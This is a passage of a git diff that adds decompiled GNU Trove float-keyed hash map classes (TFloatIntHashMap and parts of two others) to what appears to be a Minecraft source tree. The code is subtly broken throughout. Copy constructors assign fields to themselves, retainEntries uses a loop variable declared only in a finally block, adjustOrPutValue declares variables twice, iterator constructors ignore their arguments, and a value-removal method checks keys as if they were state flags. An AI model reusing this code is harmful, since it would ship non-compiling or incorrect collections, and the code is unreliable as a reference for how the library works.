+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TFloatFloatKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TFloatFloatKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TFloatFloatValueHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TFloatFloatValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TFloatFloatHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatFloatIterator
+  {
+    TFloatFloatHashIterator(TFloatFloatHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public float key()
+    {
+      return _set[_index];
+    }
+    
+    public float value()
+    {
+      return _values[_index];
+    }
+    
+    public float setValue(float val)
+    {
+      float old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TFloatFloatMap)) {
+      return false;
+    }
+    TFloatFloatMap that = (TFloatFloatMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    float[] values = _values;
+    byte[] states = _states;
+    float this_no_entry_value = getNoEntryValue();
+    float that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        float key = _set[i];
+        float that_value = that.get(key);
+        float this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TFloatFloatProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(float key, float value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeFloat(_set[i]);
+        out.writeFloat(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      float key = in.readFloat();
+      float val = in.readFloat();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TFloatIntHashMap.java b/src/minecraft/gnu/trove/map/hash/TFloatIntHashMap.java
new file mode 100644
index 0000000..b78d6e4
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TFloatIntHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TFloatIntHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TFloatIntIterator;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.map.TFloatIntMap;
+import gnu.trove.procedure.TFloatIntProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatIntHashMap
+  extends TFloatIntHash
+  implements TFloatIntMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient int[] _values;
+  
+  public TFloatIntHashMap() {}
+  
+  public TFloatIntHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatIntHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TFloatIntHashMap(int initialCapacity, float loadFactor, float noEntryKey, int noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TFloatIntHashMap(float[] keys, int[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TFloatIntHashMap(TFloatIntMap map)
+  {
+    super(map.size());
+    if ((map instanceof TFloatIntHashMap)) {
+      TFloatIntHashMap hashmap = (TFloatIntHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0F) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    float[] oldKeys = _set;
+    int[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new float[newCapacity];
+    _values = new int[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        float o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public int put(float key, int value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public int putIfAbsent(float key, int value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private int doPut(float key, int value, int index)
+  {
+    int previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Float, ? extends Integer> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Float, ? extends Integer> entry : map.entrySet()) {
+      put(((Float)entry.getKey()).floatValue(), ((Integer)entry.getValue()).intValue());
+    }
+  }
+  
+
+  public void putAll(TFloatIntMap map)
+  {
+    ensureCapacity(map.size());
+    TFloatIntIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public int get(float key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public int remove(float key)
+  {
+    int prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TFloatSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public float[] keys()
+  {
+    float[] keys = new float[size()];
+    float[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public float[] keys(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TIntCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public int[] values()
+  {
+    int[] vals = new int[size()];
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public int[] values(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(int val)
+  {
+    byte[] states = _states;
+    int[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(float key)
+  {
+    return contains(key);
+  }
+  
+
+  public TFloatIntIterator iterator()
+  {
+    return new TFloatIntHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TFloatProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TFloatIntProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] keys = _set;
+    int[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TIntFunction function)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TFloatIntProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    float[] keys = _set;
+    int[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(float key)
+  {
+    return adjustValue(key, 1);
+  }
+  
+
+  public boolean adjustValue(float key, int amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public int adjustOrPutValue(float key, int adjust_amount, int put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    int newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      int newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TFloatSet
+  {
+    protected TKeyView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TFloatIntHashMap.TFloatIntKeyHashIterator(TFloatIntHashMap.this, TFloatIntHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return TFloatIntHashMap.this.contains(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(float entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!TFloatIntHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TFloatSet)) {
+        return false;
+      }
+      TFloatSet that = (TFloatSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TIntCollection
+  {
+    protected TValueView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TFloatIntHashMap.TFloatIntValueHashIterator(TFloatIntHashMap.this, TFloatIntHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return values();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      int[] values = _values;
+      float[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0F) && (set[i] != 2.0F) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TFloatIntKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TFloatIntKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TFloatIntValueHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TFloatIntValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TFloatIntHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIntIterator
+  {
+    TFloatIntHashIterator(TFloatIntHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public float key()
+    {
+      return _set[_index];
+    }
+    
+    public int value()
+    {
+      return _values[_index];
+    }
+    
+    public int setValue(int val)
+    {
+      int old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TFloatIntMap)) {
+      return false;
+    }
+    TFloatIntMap that = (TFloatIntMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    int[] values = _values;
+    byte[] states = _states;
+    int this_no_entry_value = getNoEntryValue();
+    int that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        float key = _set[i];
+        int that_value = that.get(key);
+        int this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TFloatIntProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(float key, int value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeFloat(_set[i]);
+        out.writeInt(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      float key = in.readFloat();
+      int val = in.readInt();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TFloatLongHashMap.java b/src/minecraft/gnu/trove/map/hash/TFloatLongHashMap.java
new file mode 100644
index 0000000..2c8d1fc
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TFloatLongHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TFloatLongHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.iterator.TFloatLongIterator;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.map.TFloatLongMap;
+import gnu.trove.procedure.TFloatLongProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatLongHashMap
+  extends TFloatLongHash
+  implements TFloatLongMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient long[] _values;
+  
+  public TFloatLongHashMap() {}
+  
+  public TFloatLongHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatLongHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TFloatLongHashMap(int initialCapacity, float loadFactor, float noEntryKey, long noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TFloatLongHashMap(float[] keys, long[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TFloatLongHashMap(TFloatLongMap map)
+  {
+    super(map.size());
+    if ((map instanceof TFloatLongHashMap)) {
+      TFloatLongHashMap hashmap = (TFloatLongHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0F) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0L) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
